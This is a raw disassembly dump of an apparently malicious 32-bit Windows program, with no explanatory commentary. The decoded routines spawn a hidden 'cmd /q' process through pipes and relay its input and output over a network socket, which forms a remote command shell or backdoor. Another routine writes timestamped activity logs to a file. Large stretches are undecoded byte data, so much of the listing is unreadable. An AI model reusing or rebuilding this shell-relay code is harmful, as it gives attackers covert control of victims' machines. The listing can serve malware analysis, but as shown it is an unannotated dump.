3BE8B475h, 59FFFFA9h, 21E89057h, 53022CF5h dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342ACh dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0E5E89050h, 8B0226F3h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 8BE89032h, 0EB022602h, 0FCDFE8EDh, 50900226h, 43422C68h dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh dd 0FBEC858Dh, 0F468FFFFh, 50004341h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h dd 4CB00Ch, 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 2CF337E8h, 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 2680925h push eax push offset unk_43438C call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 2680925h push eax push offset unk_43438C call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 269068Dh nop loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2780F09h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 call near ptr 2680925h nop push eax push offset unk_434358 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 269068Dh push 1 push dword ptr [esi+8] call near ptr 2700B13h nop loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 2680925h push eax push offset unk_43443C jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 2680925h push eax push offset unk_4343FC loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343D4 call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2710000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2660B41h nop test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 26608E4h jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 2680925h push eax push offset unk_43447C call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344BC call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 2790000h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26F0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8C068FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456868FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 26ECD7E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225FB7Eh, 90EDEB90h dd 26F5D0E8h, 858D5002h, 0FFFFFD2Ch, 43452C68h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F8h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022CECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Ch, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h dd 22CEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43463068h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Ch, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345F068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Ch, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345ACh, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2CE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Ch, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h ; --------------------------------------------------------------------------- sub al, 2 push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0DFE89000h dd 390225F6h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ch dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0F618E890h, 8DFF0225h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 25F5E5E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 2CE6DBE8h, 7D8B9002h, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 43469Ch, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7C68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 7068096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022CE4h dd 3E8h, 0F2C4E890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 2790172h lea eax, [ebp-114h] push 104h push eax nop call near ptr 2670AE9h lea eax, [ebp-114h] push offset asc_434E5C ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E2C push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 